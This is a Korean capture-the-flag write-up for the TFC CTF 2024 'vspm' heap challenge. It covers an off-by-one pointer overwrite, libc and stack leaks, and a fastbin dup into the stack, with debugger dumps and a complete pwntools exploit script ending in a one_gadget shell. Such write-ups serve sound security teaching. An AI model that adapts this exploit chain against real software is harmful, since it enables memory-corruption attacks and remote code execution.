TFC CTF 2024 - vspm

0x00. Introduction

[*] '/home/user/vspm'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  b'.'

Structure

struct password {
    char *credential;
    char name[0x20];
}

์œ„์™€ ๊ฐ™์ด ๊ตฌ์„ฑ๋œ ๊ตฌ์กฐ์ฒด๋ฅผ ์ตœ๋Œ€ code_base + 0x4060 ์˜์—ญ์— 10๊ฐœ๊นŒ์ง€ ์ €์žฅํ•  ์ˆ˜ ์žˆ๋‹ค.

0x01. Vulnerability

unsigned __int64 save_12EE()
{
  ...
  __isoc99_scanf("%d", &len);
  getchar();
  if ( len >= 0x79 )
  {
    puts("Sorry, not enough resources!");
    exit(0);
  }
  ...
  password_4060[i].credential = malloc(len);
  printf("Enter credentials: ");
  read(0, password_4060[i].credential, (len + 1));
  printf("Name of the credentials: ");
  read(0, password_4060[i].name, (len + 1));
  ...
}

password๋ฅผ ์ €์žฅํ•˜๋Š” save()์—์„œ credential์˜ ์‚ฌ์ด์ฆˆ len์„ ์ž…๋ ฅ๋ฐ›๊ณ , len + 1๋งŒํผ read๋ฅผ ํ•œ๋‹ค. ๊ทธ๋Ÿฐ๋ฐ ๊ณ ์ •๋œ ๊ธธ์ด(0x20)์˜ name๋„ len + 1๋งŒํผ read๋ฅผ ํ•˜๊ธฐ ๋•Œ๋ฌธ์— ๋‹ค์Œ password ๊ตฌ์กฐ์ฒด์˜ credential์„ overwriteํ•  ์ˆ˜ ์žˆ๋‹ค.

credential์—์„œ๋„ len + 1๋งŒํผ ๊ฐ’์„ ์“ธ ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์— ๋‹ค์Œ chunk์˜ header ์ฒซ ๋ฐ”์ดํŠธ๋ฅผ overwriteํ•  ์ˆ˜๋Š” ์žˆ์ง€๋งŒ prev_size๋ฅผ ๋ฐ”๊ฟ”์„œ exploit์œผ๋กœ ์ด์–ด๊ฐˆ ์•„์ด๋””์–ด๊ฐ€ ๋– ์˜ค๋ฅด์ง€ ์•Š์•˜๋‹ค.

0x02. Exploit

Exploit์„ ์ง„ํ–‰ํ•˜๊ธฐ์— ์•ž์„œ ๋ณดํ˜ธ๊ธฐ๋ฒ•์„ ํ™•์ธํ•ด๋ณด๋ฉด code, stack, libc ๋ชจ๋“  ์˜์—ญ์ด ๋ณ€๋™๋˜๋Š” ์ƒํƒœ์ด๋‹ค. ๋”ฐ๋ผ์„œ ํ˜„์žฌ ๊ฐ€์ง€๊ณ  ์žˆ๋Š” credential overwrite ์ทจ์•ฝ์ ์„ ๊ฐ€์ง€๊ณ  ์ตœ์†Œ ํ•œ ์˜์—ญ์˜ memory leak์„ ํ•ด์•ผ๊ฒ ๋‹ค๋Š” ์ƒ๊ฐ์ด ๋“ค์—ˆ๋‹ค.

Libc Leak

Heap์—์„œ ํ™œ์šฉํ•  ์ˆ˜ ์žˆ๋Š” memory leak ํ…Œํฌ๋‹‰ ์ค‘ unsorted bin์„ ์ด์šฉํ•œ main_arena leak์ด ๋งŽ์ด ์‚ฌ์šฉ๋œ๋‹ค. main_arena๋Š” libc ์˜์—ญ์ด๊ธฐ ๋•Œ๋ฌธ์— offset ๊ณ„์‚ฐ๋งŒ ํ•ด์ฃผ๋ฉด libc base๋ฅผ ํš๋“ํ•  ์ˆ˜ ์žˆ๋‹ค.

๋ฌธ์ œ๋Š” ํฌ๊ธฐ๊ฐ€ 0x80 ์ด์ƒ์ธ chunk๋ฅผ free์‹œ์ผœ์•ผ unsorted bin์— ์ถ”๊ฐ€๋˜๋Š”๋ฐ ์ž…๋ ฅํ•  ์ˆ˜ ์žˆ๋Š” len์€ 0x79๊ฐ€ ์ตœ๋Œ€์ด๋‹ค. Heap์˜ chunk๋“ค์ด ์ฐจ๋ก€๋Œ€๋กœ ์Œ“์ด๊ณ , ์ฃผ์†Œ์—์„œ 0xXXXXXXXXXXXXX000 ๋ถ€๋ถ„๋งŒ ๋ณ€๋™๋˜๋ฏ€๋กœ fake chunk๋ฅผ ๊ตฌ์„ฑํ•˜๊ณ  credential overwrite ์ทจ์•ฝ์ ์„ ์ด์šฉํ•˜์—ฌ ๋‹ค์Œ password ๊ตฌ์กฐ์ฒด์˜ credential์ด fake chunk๋ฅผ ๊ฐ€๋ฆฌํ‚ค๊ฒŒ ํ•  ์ˆ˜ ์žˆ๋‹ค.

    payload = p64(0)                                # fake chunk -> prev_size
    payload += p64(0x111)                           # fake chunk -> size
    save(s, 0x30, payload, b"0000")
    save(s, 0x30, b"BBBB", b"1111")
    save(s, 0x30, b"CCCC", b"2222")
    save(s, 0x40, b"DDDD", b"3333")
    save(s, 0x30, payload, b"4444")
    save(s, 0x60, b"FFFF", b"5555")
    save(s, 0x60, b"GGGG", b"6666")

๋จผ์ € 0000, 4444, top chunk์˜ offset ์ฐจ์ด๋ฅผ ๊ณ ๋ คํ•ด์„œ chunk๋“ค์„ ๋ฐฐ์น˜ํ•œ๋‹ค.

์ฒ˜์Œ์—๋Š” 0000, 4444์˜ offset ์ฐจ์ด๋งŒ ๊ณ ๋ คํ•˜๋ฉด ๋˜๋Š” ์ค„ ์•Œ์•˜๋Š”๋ฐ, top chunk์™€๋„ offset ์ฐจ์ด๊ฐ€ ๋งž์•„์•ผ fake chunk์˜ free๊ฐ€ ์„ฑ๊ณตํ•œ๋‹ค.

# first password structure
gefโžค  x/5gx 0x555555558060
0x555555558060: 0x000055555555d010      0x0000000030303030
0x555555558070: 0x0000000000000000      0x0000000000000000
0x555555558080: 0x0000000000000000
# first fake chunk header
gefโžค  x/2gx 0x000055555555d010
0x55555555d010: 0x0000000000000000      0x0000000000000111
# second fake chunk header
gefโžค  x/2gx 0x000055555555d010 + 0x110
0x55555555d120: 0x0000000000000000      0x0000000000000111
# top chunk
gefโžค  x/2gx 0x000055555555d010 + 0x220
0x55555555d230: 0x0000000000000000      0x0000000000020dd1

์ด์ œ 2222์˜ credential์ด fake chunk๋ฅผ ๊ฐ€๋ฆฌํ‚ค๊ฒŒ ๋งŒ๋“ค๊ธฐ ์œ„ํ•ด ๋‹ค์Œ๊ณผ ๊ฐ™์ด payload๋ฅผ ์ž‘์„ฑํ–ˆ๋‹ค.

    delete(s, b"1")                                 # free "1111"
    save(s, 0x30, b"BBBB", b"1" * 0x20 + b"\x20")   # alloc "1111" and overwrite next pointer
    delete(s, b"2")                                 # free fake chunk -> unsorted bin

1111์„ ์ด์šฉํ•ด์„œ 2222์˜ credential์ด 0x55555555d020์„ ๊ฐ€๋ฆฌํ‚ค๊ฒŒ ๋งŒ๋“ค๋ฉด 0x55555555d010์— ๋„ฃ์€ ๊ฐ’์ด chunk header๊ฐ€ ๋œ๋‹ค. ์ด์ œ 2222๋ฅผ freeํ•˜๋ฉด 0x100์งœ๋ฆฌ chunk๋ฅผ freeํ•œ ๊ฒƒ์œผ๋กœ ๋˜์–ด unsorted bin์œผ๋กœ ์ด๋™ํ•œ๋‹ค.

โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ Unsorted Bin for arena at 0x7ffff7dd0b60 โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
[+] unsorted_bins[0]: fw=0x55555555d010, bk=0x55555555d010
 โ†’   Chunk(addr=0x55555555d020, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[+] Found 1 chunks in unsorted bin.
gefโžค  x/4gx 0x55555555d010
0x55555555d010: 0x0000000000000000      0x0000000000000111
0x55555555d020: 0x00007ffff7dd0bc0      0x00007ffff7dd0bc0

์ด ๊ณผ์ •์—์„œ free๋œ chunk์˜ fd, bk์— main_arena ์ฃผ์†Œ๊ฐ€ ์“ฐ์—ฌ์ง„๋‹ค. ์ดํ›„ malloc์œผ๋กœ ํ•ด๋‹น ์˜์—ญ์„ ๋ฐ˜ํ™˜๋ฐ›์•„๋„ ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ์ดˆ๊ธฐํ™”ํ•˜์ง€ ์•Š๊ธฐ ๋•Œ๋ฌธ์— check()๋ฅผ ํ†ตํ•ด leak์ด ๊ฐ€๋Šฅํ•˜๋‹ค.

๋‹คํ–‰ํžˆ 0x100๋ณด๋‹ค ์ž‘์€ chunk๋ฅผ ์š”์ฒญํ•ด๋„ unsorted bin์„ ๋ถ„ํ• ํ•ด์„œ ํ• ๋‹นํ•ด์ฃผ๊ธฐ ๋•Œ๋ฌธ์— ๋Œ€์ถฉ 0x30์งœ๋ฆฌ chunk๋ฅผ ์š”์ฒญํ–ˆ๋‹ค.

    save(s, 0x30, b"\xc0", b"2222")                 # alloc from unsorted bin
    r = check(s)
    arena = 0x3b4cc0
    libc = u64(r.split(b"2222 --> ")[1][:6] + b"\x00\x00") - arena
    log.info(f"libc : {hex(libc)}")

์ด ๋•Œ ์ž…๋ ฅํ•œ \xc0์€ ๋””๋ฒ„๊ฑฐ๋กœ ํ™•์ธํ•œ main_arena์˜ ์ฒซ ๋ฐ”์ดํŠธ์ธ๋ฐ ์–ด์ฐจํ”ผ offset์„ ๊ณ„์‚ฐํ•˜๋ฉด ๋˜๊ธฐ ๋•Œ๋ฌธ์— ๋งž์ถฐ์ค„ ํ•„์š”๋Š” ์—†์ง€๋งŒ ์ž…๋ ฅ์„ ์•„์˜ˆ ์ฃผ์ง€ ์•Š์„ ์ˆ˜๋Š” ์—†๊ธฐ ๋•Œ๋ฌธ์— ๋งž์ถฐ์ฃผ์—ˆ๋‹ค.

Stack Leak

Libc leak์„ ์„ฑ๊ณตํ–ˆ์œผ๋‹ˆ credential overwrite์™€ check()๋ฅผ ์ด์šฉํ•˜์—ฌ libc์˜ ๋ชจ๋“  ์˜์—ญ์„ ์ถœ๋ ฅํ•  ์ˆ˜ ์žˆ๋‹ค. Libc ์˜์—ญ ์ค‘ environ ๋ณ€์ˆ˜์— stack ์ฃผ์†Œ๊ฐ€ ์ €์žฅ๋˜์–ด์žˆ์œผ๋ฏ€๋กœ ์ด๋ฅผ ์ด์šฉํ•ด stack leak์„ ์ง„ํ–‰ํ•˜์˜€๋‹ค.

    delete(s, b"0")
    environ = 0x3b75d8
    payload = b"0" * 0x20
    payload += p64(libc + environ)
    save(s, 0x30, b"AAAA", payload)

๋จผ์ € 0000์„ freeํ•˜๊ณ  1111์˜ credential์ด environ์„ ๊ฐ€๋ฆฌํ‚ค๋„๋ก overwriteํ•œ๋‹ค.

    r = check(s)
    stack = u64(r.split(b"1111 --> ")[1][:6] + b"\x00\x00") - 0x110
    log.info(f"stack : {hex(stack)}")

1111์ด environ์„ ๊ฐ€๋ฆฌํ‚ค๊ณ  ์žˆ๊ณ  check()์—์„œ credential ์ •๋ณด๋ฅผ ์ถœ๋ ฅํ•ด์ฃผ๋Š” ๊ฒƒ์„ ์ด์šฉํ•ด์„œ environ์— ์ €์žฅ๋œ stack ์ฃผ์†Œ๋ฅผ ํš๋“ํ•  ์ˆ˜ ์žˆ๋‹ค.

Fastbin Dup into Stack

์•ž์„œ credential overwrite ์ทจ์•ฝ์ ์„ ์ด์šฉํ•ด์„œ credential์ด fake chunk๋ฅผ ๊ฐ€๋ฆฌํ‚ค๊ฒŒ ํ•œ ๊ฒƒ๊ณผ ๋น„์Šทํ•˜๊ฒŒ ๋‹ค๋ฅธ credential์„ ๊ฐ€๋ฆฌํ‚ค๊ฒŒ ํ•ด์„œ double free ์ทจ์•ฝ์ ์„ ํŠธ๋ฆฌ๊ฑฐํ•  ์ˆ˜ ์žˆ๋‹ค.

    save(s, 0x60, b"FFFF", b"5555")
    save(s, 0x60, b"GGGG", b"6666")
    save(s, 0x60, b"HHHH", b"7777")

๋จผ์ € ์œ„ payload๋ฅผ ์‹คํ–‰ํ•˜๋ฉด password ๊ตฌ์กฐ์ฒด๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๊ฐ’์„ ๊ฐ€์ง€๊ฒŒ ๋œ๋‹ค.

gefโžค
0x555555558128: 0x000055555555d1d0      0x0000000035353535
0x555555558138: 0x0000000000000000      0x0000000000000000
0x555555558148: 0x0000000000000000
gefโžค
0x555555558150: 0x000055555555d160      0x0000000036363636
0x555555558160: 0x0000000000000000      0x0000000000000000
0x555555558170: 0x0000000000000000
gefโžค
0x555555558178: 0x000055555555d240      0x0000000037373737
0x555555558188: 0x0000000000000000      0x0000000000000000
0x555555558198: 0x0000000000000000

Double free ์ทจ์•ฝ์ ์„ ํŠธ๋ฆฌ๊ฑฐํ•˜๊ธฐ ์œ„ํ•ด 7777์˜ 0x55555555d240์„ 5555์˜ 0x55555555d1d0์œผ๋กœ ๋ฎ์–ด์•ผํ•œ๋‹ค.

์—ฌ๊ธฐ์—์„œ credential์˜ ์‚ฌ์ด์ฆˆ๊ฐ€ 0x60์ธ ์ด์œ ๋Š” ํ›„์ˆ ํ•˜๋„๋ก ํ•˜๊ณ , 0x60์งœ๋ฆฌ chunk๋ฅผ 3๊ฐœ ํ• ๋‹น๋ฐ›๋‹ค๋ณด๋‹ˆ chunk ์ฃผ์†Œ์˜ ๋‘ ๋ฒˆ์งธ ๋ฐ”์ดํŠธ๊ฐ€ ๋‹ฌ๋ผ์ง„๋‹ค. 0xd1d0 ์ค‘ 0x1d0์€ ๊ณ ์ •์ด๊ณ  0xd000๋ถ€๋ถ„๋งŒ ๋ณ€๋™๋  ๊ฒƒ์ด๋ฏ€๋กœ ์—ฌ๊ธฐ์—์„œ 1/16 ํ™•๋ฅ ๋กœ exploit์— ์„ฑ๊ณตํ•œ๋‹ค.

Fastbin์„ ์–ด๋–ป๊ฒŒ ์ž˜ ์กฐ์ž‘ํ•˜๊ฑฐ๋‚˜ heap leak์„ ํ•˜๋ฉด ๊ฐ€๋Šฅํ•  ๊ฒƒ ๊ฐ™๊ธด ํ•œ๋ฐ ํ™•๋ฅ ์ด ๊ทธ๋ฆฌ ๋‚ฎ์ง€ ์•Š์•„์„œ ๊ทธ๋ƒฅ ์ง„ํ–‰ํ•˜๊ธฐ๋กœ ํ–ˆ๋‹ค.

    delete(s, b"6")
    save(s, 0x60, b"GGGG", b"6" * 0x20 + b"\xd0\xd1")
    
    delete(s, b"5")
    delete(s, b"6")
    delete(s, b"7")

์œ„ payload์™€ ๊ฐ™์ด 7777์˜ credential์„ 5555์˜ credential๊ณผ ์ผ์น˜์‹œํ‚ค๊ณ  5555, 6666, 7777์ˆœ์œผ๋กœ free๋ฅผ ํ•˜๊ฒŒ ๋˜๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์ด fastbin์ด ๊ตฌ์„ฑ๋œ๋‹ค.

  • 0x55555555d1d0 -> 0x55555555d160 -> 0x55555555d1d0

์ด์ œ malloc์„ ํ†ตํ•ด 0x60 ์‚ฌ์ด์ฆˆ์˜ chunk๋ฅผ ์š”์ฒญํ•˜๋ฉด 0x55555555d1d0์„ ํ• ๋‹น๋ฐ›์„ ์ˆ˜ ์žˆ๊ณ , ์—ฌ๊ธฐ์— stack์˜ ์ฃผ์†Œ๋ฅผ ์“ด ๋’ค ํ•ด๋‹น ์ฃผ์†Œ ์œ„์— fake chunk header๋ฅผ ์“ธ ์ˆ˜ ์žˆ๋‹ค๋ฉด fastbin list์— ์ถ”๊ฐ€๋œ๋‹ค.

๋”ฐ๋ผ์„œ ๊ฑฐ๊พธ๋กœ fake chunk header๋ฅผ ๊ตฌ์„ฑํ•  ์ˆ˜ ์žˆ๋Š” stack์˜ ์œ„์น˜๋ฅผ ์ฐพ์•„๋ณด์•˜๋Š”๋ฐ, ์ฒ˜์Œ์—๋Š” save()์˜ stack์„ ํ™œ์šฉํ•˜๋ ค๊ณ  ํ–ˆ๋‹ค.

unsigned __int64 save_12EE()
{
  unsigned int len; // [rsp+8h] [rbp-68h] BYREF
  int i; // [rsp+Ch] [rbp-64h]
  ...
}

len, i๋ฅผ ์ด์šฉํ•˜์—ฌ fake chunk header๋ฅผ ๊ตฌ์„ฑํ•˜๋ฉด return address๊นŒ์ง€ 0x70๋งŒํผ ์ฐจ์ด๊ฐ€ ๋‚˜๋ฏ€๋กœ ์ตœ๋Œ€ ํ• ๋‹น ํฌ๊ธฐ์ธ 0x78๋ณด๋‹ค ์ž‘์•„ ๊ฐ€๋Šฅํ•  ๊ฒƒ ๊ฐ™์•˜๋‹ค.

๊ทธ๋Ÿฐ๋ฐ ๋ฌธ์ œ๋Š” 0x70 ํฌ๊ธฐ์˜ chunk๋ฅผ ํ• ๋‹น๋ฐ›์œผ๋ ค๋ฉด len์— 0x70์„ ์ž…๋ ฅํ•ด์•ผ ํ•˜๋Š”๋ฐ, fake chunk header๋ฅผ ๊ตฌ์„ฑํ•  ๋•Œ๋Š” len์— 0x80์„ ์ž…๋ ฅํ•ด์•ผ size๊ฐ€ ๋งž๊ธฐ ๋•Œ๋ฌธ์— ๋ชจ์ˆœ์ด ์ƒ๊ธด๋‹ค.

๊ทธ๋ž˜์„œ ๋‹ค๋ฅธ ์˜์—ญ์„ ์ฐพ์•„์•ผํ–ˆ๋Š”๋ฐ return์„ ํ•ด์„œ ์ข…๋ฃŒํ•˜๋Š” ํ•จ์ˆ˜๊ฐ€ ์—†์–ด์„œ ๊ณ ๋ฏผํ•˜๋‹ค๊ฐ€, save()์—์„œ ์˜์—ญ์„ ํ• ๋‹น๋ฐ›๊ณ  read๋ฅผ ํ•  ๋•Œ read()์˜ return address๋ฅผ ๋ฎ์œผ๋ฉด ๊ฐ€๋Šฅํ•  ๊ฒƒ ๊ฐ™์•˜๋‹ค.

unsigned __int64 save_12EE()
{
  ...
  password_4060[i].credential = malloc(len);
  printf("Enter credentials: ");
  read(0, password_4060[i].credential, (len + 1));
  ...
}

๋ฌธ์ œ๋Š” ๋‹ค์‹œ fake chunk header์ธ๋ฐ, read()์˜ return address๋ฅผ ๋ฎ์„ ์ˆ˜ ์žˆ๋Š” ์˜์—ญ์„ malloc() ์ง์ „์— ํ™•์ธํ•ด๋ณด๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

gefโžค  x/16gx 0x7fffffffdbd0
0x7fffffffdbd0: 0x0000000000000000      0x0000000000000000
0x7fffffffdbe0: 0x00007fffffffdce0      0x00007ffff7a6dd8e
0x7fffffffdbf0: 0x00007ffff7ff4000      0x0000003000000008
0x7fffffffdc00: 0x00007fffffffdcd0      0x00007fffffffdc10
0x7fffffffdc10: 0x000000000000000a      0x00007fffffffdcd4
0x7fffffffdc20: 0x0000000000000000      0x00007ffff7b030c3
0x7fffffffdc30: 0x0000000000000000      0x00007fffffffdcc0
0x7fffffffdc40: 0x00005555555551a0      0x0000555555555397

0x7fffffffdbf8์— 0x60์ด ์ €์žฅ๋˜์–ด์žˆ์ง€๋งŒ ์ด ๊ฐ’์€ malloc()์— ์ธ์ž๋กœ ์ „๋‹ฌ๋œ ๊ฐ’์ด ๋‚ด๋ถ€ ๋กœ์ง์„ ์‹คํ–‰ํ•˜๋‹ค๊ฐ€ ์ €์žฅ๋œ ๊ฐ’์œผ๋กœ ์ด์ „์˜ ๋ชจ์ˆœ์ด ๋˜‘๊ฐ™์ด ๋ฐœ์ƒํ•œ๋‹ค.

์—ฌ๊ธฐ์—์„œ ํŠธ๋ฆญ์ด ํ•˜๋‚˜ ์žˆ๋Š”๋ฐ, chunk header๋Š” ๊ตณ์ด alignment๊ฐ€ ๋งž์ง€ ์•Š์•„๋„ ๋˜๊ธฐ ๋•Œ๋ฌธ์— stack ์ฃผ์†Œ์˜ ๊ฐ€์žฅ ์ƒ์œ„ ๋ฐ”์ดํŠธ๊ฐ€ 0x7f์ธ ์ ์„ ์ƒ๊ฐํ•ด์„œ ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ๋‹ค์‹œ ์ถœ๋ ฅํ•ด๋ณด์•˜๋‹ค.

gefโžค  x/16gx 0x7fffffffdbd5
0x7fffffffdbd5: 0x0000000000000000      0xffffffdce0000000
0x7fffffffdbe5: 0xfff7a6dd8e00007f      0xfff7ff400000007f
0x7fffffffdbf5: 0x300000000800007f      0xffffffdcd0000000
0x7fffffffdc05: 0xffffffdc1000007f      0x000000000a00007f
0x7fffffffdc15: 0xffffffdcd4000000      0x000000000000007f
0x7fffffffdc25: 0xfff7b030c3000000      0x000000000000007f
0x7fffffffdc35: 0xffffffdcc0000000      0x55555551a000007f
0x7fffffffdc45: 0x5555555397000055      0x555555618f000055

์ด๋ ‡๊ฒŒ fake chunk header๋กœ ํ™œ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ์˜์—ญ์ด 0x7fffffffdc15์™€ 0x7fffffffdc25 ๋‘ ๊ตฐ๋ฐ๊ฐ€ ์žˆ๋Š”๋ฐ, fd๋ฅผ 0x7fffffffdc15๋กœ ์„ค์ •ํ•  ๊ฒฝ์šฐ๋Š” malloc()์— ์‹คํŒจํ•˜๊ณ , 0x7fffffffdc25๋กœ ์„ค์ •ํ•  ๊ฒฝ์šฐ๋Š” malloc()์— ์„ฑ๊ณตํ•œ๋‹ค.

์˜ˆ์ƒ๋˜๋Š” ์ด์œ ๋Š” ํ•ด๋‹น ์˜์—ญ์ด ํ˜„์žฌ ํ•จ์ˆ˜์˜ stack ๋ฐ”๋กœ ์œ„ ์˜์—ญ์ด๋ผ์„œ malloc()์˜ stack ์˜์—ญ๊ณผ ๊ฒน์น˜๊ฒŒ ๋˜๊ณ , malloc() ๋‚ด๋ถ€์ ์œผ๋กœ stack์„ ์‚ฌ์šฉํ•˜๋‹ค๊ฐ€ 0x7fffffffdc15์— ์ €์žฅ๋œ ๊ฐ’์ด overwrite๋˜๋Š” ๊ฒƒ์œผ๋กœ ์ถ”์ •๋œ๋‹ค.

์–ด์จŒ๊ฑฐ๋‚˜ 0x7fffffffdc25๋ฅผ fd๋กœ ์„ค์ •ํ•˜๊ธฐ ์œ„ํ•ด ํš๋“ํ•œ stack ์ฃผ์†Œ์™€์˜ offset์„ ๊ณ„์‚ฐํ•ด์„œ 0x55555555d1d0์„ ํ• ๋‹น๋ฐ›์€ ํ›„ ์ž…๋ ฅํ•ด์ฃผ๋ฉด fastbin์€ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๊ตฌ์„ฑ๋œ๋‹ค.

  • 0x55555555d160 -> 0x55555555d1d0 -> 0x7fffffffdc35

๋”ฐ๋ผ์„œ ์ดํ›„ 3๋ฒˆ์งธ malloc()์—์„œ stack์˜ ์ฃผ์†Œ๊ฐ€ ๋ฐ˜ํ™˜๋˜๊ณ , offset์„ ๊ณ„์‚ฐํ•ด์„œ read()์˜ return address๋ฅผ one shot ๊ฐ€์ ฏ์œผ๋กœ ๋ฎ์–ด์ฃผ๋ฉด ๋œ๋‹ค.

    payload = p64(stack - 0xa3)
    save(s, 0x60, payload, b"5555")
    save(s, 0x60, b"GGGG", b"6666")
    save(s, 0x60, payload, b"7777")
    
    delete(s, b"0")
    one_gadget = 0xe1fa1
    payload = b"A" * 0x13
    payload += p64(libc + one_gadget)
    save(s, 0x68, payload, b"0000", fin = 1)

0x03. Payload

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
from argparse import ArgumentParser

BINARY = "vspm"
code_base = 0x0000555555554000
bp = {
    'save' : code_base + 0x12EE,
    'malloc_of_save' : code_base + 0x1414,
    'check' : code_base + 0x14ED,
    'cred' : code_base + 0x4060,
}

gs = f'''
continue
b *{bp['malloc_of_save']}
'''
context.terminal = ['tmux', 'splitw', '-hf']

def save(s, length, cred, name, fin = 0):
    s.sendline(b"1")
    s.recvuntil(b"length: ")
    s.sendline(str(length).encode())
    s.recvuntil(b"credentials: ")
    s.send(cred)
    if fin:
        return
    s.recvuntil(b"credentials: ")
    s.send(name)
    return s.recvuntil(b"Input: ")

def check(s):
    s.sendline(b"2")
    return s.recvuntil(b"Input: ")

def delete(s, index):
    s.sendline(b"3")
    s.recvuntil(b"index: ")
    s.sendline(index)
    return s.recv()

def main(port, debug):
    if(port):
        s = remote("0.0.0.0", port)
    else:
        s = process(BINARY)
        if debug:
            gdb.attach(s, gs)
    elf = ELF(BINARY)
    log.info(f"cred : {hex(bp['cred'])}")
    s.recv()

    payload = p64(0)                                # fake chunk -> prev_size
    payload += p64(0x111)                           # fake chunk -> size
    save(s, 0x30, payload, b"0000")
    save(s, 0x30, b"BBBB", b"1111")
    save(s, 0x30, b"CCCC", b"2222")
    save(s, 0x40, b"DDDD", b"3333")
    save(s, 0x30, payload, b"4444")
    save(s, 0x60, b"FFFF", b"5555")
    save(s, 0x60, b"GGGG", b"6666")

    # libc leak
    delete(s, b"1")                                 # free "1111"
    save(s, 0x30, b"BBBB", b"1" * 0x20 + b"\x20")   # alloc "1111" and overwrite next pointer
    delete(s, b"2")                                 # free fake chunk -> unsorted bin
    save(s, 0x30, b"\xc0", b"2222")                 # alloc from unsorted bin
    
    r = check(s)
    arena = 0x3b4cc0
    libc = u64(r.split(b"2222 --> ")[1][:6] + b"\x00\x00") - arena
    log.info(f"libc : {hex(libc)}")
    
    # flush unsorted bin
    save(s, 0x60, b"HHHH", b"7777")
    save(s, 0x50, b"IIII", b"8888")
    delete(s, b"7")
    delete(s, b"8")

    # stack leak
    delete(s, b"0")
    environ = 0x3b75d8
    payload = b"0" * 0x20
    payload += p64(libc + environ)
    save(s, 0x30, b"AAAA", payload)

    r = check(s)
    stack = u64(r.split(b"1111 --> ")[1][:6] + b"\x00\x00") - 0x110
    log.info(f"stack : {hex(stack)}")

    # fastbin dup
    delete(s, b"5")
    delete(s, b"6")

    save(s, 0x60, b"FFFF", b"5555")
    save(s, 0x60, b"GGGG", b"6666")
    save(s, 0x60, b"HHHH", b"7777")
    pause()

    delete(s, b"6")
    save(s, 0x60, b"GGGG", b"6" * 0x20 + b"\xd0\xd1")
    
    delete(s, b"5")
    delete(s, b"6")
    delete(s, b"7")
    
    payload = p64(stack - 0xa3)
    save(s, 0x60, payload, b"5555")
    save(s, 0x60, b"GGGG", b"6666")
    save(s, 0x60, payload, b"7777")
    
    delete(s, b"0")
    one_gadget = 0xe1fa1
    payload = b"A" * 0x13
    payload += p64(libc + one_gadget)
    save(s, 0x68, payload, b"0000", fin = 1)

    s.interactive()

if __name__=='__main__':
    parser = ArgumentParser()
    parser.add_argument('-p', '--port', type=int)
    parser.add_argument('-d', '--debug', type=int, default=1)
    args = parser.parse_args()
    main(args.port, args.debug)